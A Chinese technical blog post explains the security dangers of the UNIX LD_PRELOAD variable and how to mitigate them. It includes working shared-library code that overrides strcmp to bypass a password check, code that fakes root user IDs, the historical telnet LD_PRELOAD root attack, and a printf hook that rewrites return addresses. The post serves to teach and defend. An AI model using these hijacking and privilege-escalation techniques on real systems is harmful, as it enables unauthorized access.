UNIX下的LD_PRELOAD环境变量

警惕 UNIX 下的 LD_PRELOAD 环境变量
 
陈皓
 
前言
 
       也许这个话题并不新鲜,因为 LD_PRELOAD 所产生的问题由来已久。不过,在这里,我还是想讨论一下这个环境变量。因为这个环境变量所带来的安全问题非常严重,值得所有的 Unix 下的程序员的注意。
 
在开始讲述为什么要当心 LD_PRELOAD 环境变量之前,请让我先说明一下程序的链接。所谓链接,也就是说编译器找到程序中所引用的函数或全局变量所存在的位置。一般来说,程序的链接分为静态链接和动态链接,静态链接就是把所有所引用到的函数或变量全部地编译到可执行文件中。动态链接则不会把函数编译到可执行文件中,而是在程序运行时动态地载入函数库,也就是运行链接。所以,对于动态链接来说,必然需要一个动态链接库。动态链接库的好处在于,一旦动态库中的函数发生变化,对于可执行程序来说是透明的,可执行程序无需重新编译。这对于程序的发布、维护、更新起到了积极的作用。对于静态链接的程序来说,函数库中一个小小的改动需要整个程序的重新编译、发布,对于程序的维护产生了比较大的工作量。
 
当然,世界上没有什么东西都是完美的,有好就有坏,有得就有失。动态链接所带来的坏处和其好处一样同样是巨大的。因为程序在运行时动态加载函数,这也就为他人创造了可以影响你的主程序的机会。试想,一旦,你的程序动态载入的函数不是你自己写的,而是载入了别人的有企图的代码,通过函数的返回值来控制你的程序的执行流程,那么,你的程序也就被人“劫持”了。
 
LD_PRELOAD 简介
 
UNIX 的动态链接库的世界中, LD_PRELOAD 就是这样一个环境变量,它可以影响程序的运行时的链接( Runtime linker ),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入恶意程序,从而达到那不可告人的罪恶的目的。
 
我们知道, Linux 的用的都是 glibc ,有一个叫 libc.so.6 的文件,这是几乎所有 Linux 下命令的动态链接中,其中有标准 C 的各种函数。对于 GCC 而言,默认情况下,所编译的程序中对标准 C 函数的链接,都是通过动态链接方式来链接 libc.so.6 这个函数库的。
 
OK 。还是让我用一个例子来看一下用 LD_PRELOAD hack 别人的程序。
 
示例一
 
我们写下面一段例程:
 
/* 文件名: verifypasswd.c */
/* 这是一段判断用户口令的程序,其中使用到了标准 C 函数 strcmp */
 
#include <stdio.h>
#include <string.h>
 
int main(int argc, char **argv)
{
 
char passwd[] = "password";
 
if (argc < 2) {
        printf("usage: %s <password>/n", argv[0]);
        return;
}
 
if (!strcmp(passwd, argv[1])) {
        printf("Correct Password!/n");
        return;
}
 
printf("Invalid Password!/n");
}
 
 
在上面这段程序中,我们使用了 strcmp 函数来判断两个字符串是否相等。下面,我们使用一个动态函数库来重载 strcmp 函数:
 
/* 文件名: hack.c */
 
#include <stdio.h>
#include <string.h>
 
int strcmp(const char *s1, const char *s2)
{
        printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2);
        / * 永远返回 0 ,表示两个字符串相等 */
        return 0;
}
 
 
 
编译程序:
$ gcc -o verifypasswd verifypasswd.c
$ gcc -shared -o hack.so hack.c
 
测试一下程序:(得到正确结果)
$ ./verifypasswd asdf
Invalid Password!
 
设置 LD_PRELOAD 变量:(使我们重写过的 strcmp 函数的 hack.so 成为优先载入链接库)
        $ export LD_PRELOAD="./hack.so"
 
再次运行程序:
$ ./verifypasswd asdf
hack function invoked. s1=<password> s2=<asdf>
Correct Password!
 
我们可以看到, 1 )我们的 hack.so 中的 strcmp 被调用了。 2 )主程序中运行结果被影响了。如果这是一个系统登录程序,那么这也就意味着我们用任意口令都可以进入系统了。
 
示例二
 
让我们再来一个示例(这个示例来源于我的工作)。这个软件是一个分布式计算平台,软件在所有的计算机上都有以 ROOT 身份运行的侦听程序( Daemon ),用户可以把的一程序从 A 计算机提交到 B 计算机上去运行。这些 Daemon 会把用户在 A 计算机上的所有环境变量带到 B 计算机上,在 B 计算机上的 Daemon fork 出一个子进程,并且 Daemon 会调用 seteuid setegid 来设置子程的执行宿主,并在子进程空间中设置从 A 计算机带过来的环境变量,以仿真用户的运行环境。(注意: A B 都运行在 NIS/NFS 方式上)
 
于是,我们可以写下这样的动态链接库:
 
/* 文件名: preload.c */
 
#include <dlfcn.h>
#include <unistd.h>
#include <sys/types.h>
 
uid_t geteuid( void ) { return 0; }
uid_t getuid( void ) { return 0; }
uid_t getgid( void ) { return 0; }
 
 
       在这里我们可以看到,我们重载了系统调用。于是我们可以通过设置 LC_PRELOAD 来迫使主程序使用我们的 geteuid/getuid/getgid (它们都返回 0 ,也就是 Root 权限)。这会导致,上述的那个分布式计算平台的软件在提交端 A 计算机上调用了 geteuid 得到当前用户 ID 0 ,并把这个用户 ID 传到了执行端 B 计算机上,于是 B 计算机上的 Daemon 就会调用 seteuid(0) ,导致我们的程序运行在了 Root 权限之下。从而,用户取得了超级用户的权限而为所欲为。
 
       上面的这个 preload.c 文件也就早期的为人所熟知的 hack 程序了。恶意用户通过在系统中设计 LC_PRELOAD 环境变量来加载这个动态链接库,会非常容易影响其它系统命令(如: /bin/sh, /bin/ls, /bin/rm 等),让这些系统命令以 Root 权限运行。
 
让我们看一下这个函数是怎么影响系统命令的:
      
$ id
uid=500(hchen) gid=10(wheel) groups=10(wheel)
$ gcc -shared -o preload.so preload.c
$ setenv LD_PRELOAD ./preload.so
$ id
uid=0(root) gid=0(root) egid=10(wheel) groups=10(wheel)
       $ whoami
root
$ /bin/sh
#         <------ 你可以看到命令行提示符会由 $ 变成 #
      
下面是一个曾经非常著名的系统攻击
$ telnet
telnet> env def LD_PRELOAD /home/hchen/test/preload.so
telnet> open localhost
#
 
 
当然,这个安全 BUG 早已被 Fix 了(虽然,通过 id 或是 whoami 或是 /bin/sh 让你觉得你像是 root ,但其实你并没有 root 的权限),当今的 Unix 系统中不会出现这个的问题。但这并不代表,我们自己写的程序,或是第三方的程序能够避免这个问题,尤其是那些以 Root 方式运行的第三方程序。
 
所以,在我们编程时,我们要随时警惕着 LD_PRELOAD
 
 
如何避免
 
不可否认, LD_PRELOAD 是一个很难缠的问题。目前来说,要解决这个问题,只能想方设法让 LD_PRELOAD 失效。目前而言,有以下面两种方法可以让 LD_PRELOAD 失效。
 
1) 通过静态链接。使用 gcc -static 参数可以把 libc.so.6 静态链入执行程序中。但这也就意味着你的程序不再支持动态链接。
 
2) 通过设置执行文件的 setgid / setuid 标志 。在有 SUID 权限的执行文件,系统会忽略 LD_PRELOAD 环境变量。也就是说,如果你有以 root 方式运行的程序,最好设置上 SUID 权限。(如: chmod 4755 daemon
 
在一些 UNIX 版本上,如果你想要使用 LD_PRELOAD 环境变量,你需要有 root 权限。但不管怎么说,这些个方法目前来看并不是一个彻底的解决方案,只是一个 Workaround 的方法,是一种因噎废食的做法,为了安全,只能禁用。
 
 
另一个示例
 
最后,让我以一个更为“变态”的示例来结束这篇文章吧(这个示例来自某俄罗斯黑客)。看看我们还能用 LD_PRELOAD 来干点什么?下面这个程序 comp.c ,我们用来比较 a b ,很明显, a b 不相等,所以,怎么运行都是程序打出 Sorry ,然后退出。这个示例会告诉我们如何用 LD_PRELOAD 让程序打印 OK
 
 
/* 源文件: comp.c  执行文件: comp*/
 
#include <stdio.h>
 
int main(int argc, char **argv)
{
        int a = 1, b = 2;
 
        if (a != b) {
                printf("Sorry!/n");
                return 0;
        }
 
        printf("OK!/n");
        return 1;
}
 
 
我们先来用 GDB 来研究一下程序的反汇编。注意其中的红色部分。那就是 if 语句。如果条件失败,则会转到 <main+75> 。当然,用 LD_PRELOAD 无法影响表达式,其只能只能影响函数。于是,我们可以在 printf 上动点歪脑筋。
 
(gdb) disassemble main
Dump of assembler code for function main:
0x08048368 <main+0>:     push   %ebp
0x08048369 <main+1>:     mov    %esp,%ebp
0x0804836b <main+3>:     sub    $0x18,%esp
0x0804836e <main+6>:     and    $0xfffffff0,%esp
0x08048371 <main+9>:     mov    $0x0,%eax
0x08048376 <main+14>:    add    $0xf,%eax
0x08048379 <main+17>:    add    $0xf,%eax
0x0804837c <main+20>:    shr    $0x4,%eax
0x0804837f <main+23>:    shl    $0x4,%eax
0x08048382 <main+26>:    sub    %eax,%esp
0x08048384 <main+28>:    movl   $0x1,0xfffffffc(%ebp)
0x0804838b <main+35>:    movl   $0x2,0xfffffff8(%ebp)
0x08048392 <main+42>:    mov    0xfffffffc(%ebp),%eax
0x08048395 <main+45>:    cmp    0xfffffff8(%ebp),%eax
0x08048398 <main+48>:   je     0x80483b3 <main+75>
0x0804839a <main+50>:    sub    $0xc,%esp
0x0804839d <main+53>:    push   $0x80484b0
0x080483a2 <main+58>:    call   0x80482b0
0x080483a7 <main+63>:    add    $0x10,%esp
0x080483aa <main+66>:    movl   $0x0,0xfffffff4(%ebp)
0x080483b1 <main+73>:    jmp    0x80483ca <main+98>
0x080483b3 <main+75>:    sub    $0xc,%esp
0x080483b6 <main+78>:    push   $0x80484b8
0x080483bb <main+83>:    call   0x80482b0
0x080483c0 <main+88>:    add    $0x10,%esp
0x080483c3 <main+91>:    movl   $0x1,0xfffffff4(%ebp)
0x080483ca <main+98>:    mov    0xfffffff4(%ebp),%eax
0x080483cd <main+101>: leave
0x080483ce <main+102>: ret
End of assembler dump.
 
 
下面是我们重载 printf so 文件。让 printf 返回后的栈地址变成 <main+75> 。从而让程序接着执行。下面是 so 文件的源,都是让人反感的汇编代码。
 
#include <stdarg.h>
 
static int (*_printf)(const char *format, ...) = NULL;
 
int printf(const char *format, ...)
{
 
    if (_printf == NULL) {
         /* 取得标准库中的 printf 的函数地址 */
_printf = (int (*)(const char *format, ...)) dlsym(RTLD_NEXT, "printf");
 
         / * 把函数返回的地址置到 <main+ 75 > */
         __asm__ __volatile__ (
                "movl 0x4(%ebp), %eax /n"
                "addl $15, %eax /n"
                "movl %eax, 0x4(%ebp)"
         );
 
         return 1;
    }
 
    / * 重置 printf 的返回地址 */
    __asm__ __volatile__ (
            "addl $12, %%esp /n"
            "jmp *%0 /n"
                    : /* no output registers */
                    : "g" (_printf)
                    : "%esp"
    );
}
 
你可以在你的 Linux 下试试这段代码。:)
 

你可能感兴趣的:(UNIX下的LD_PRELOAD环境变量)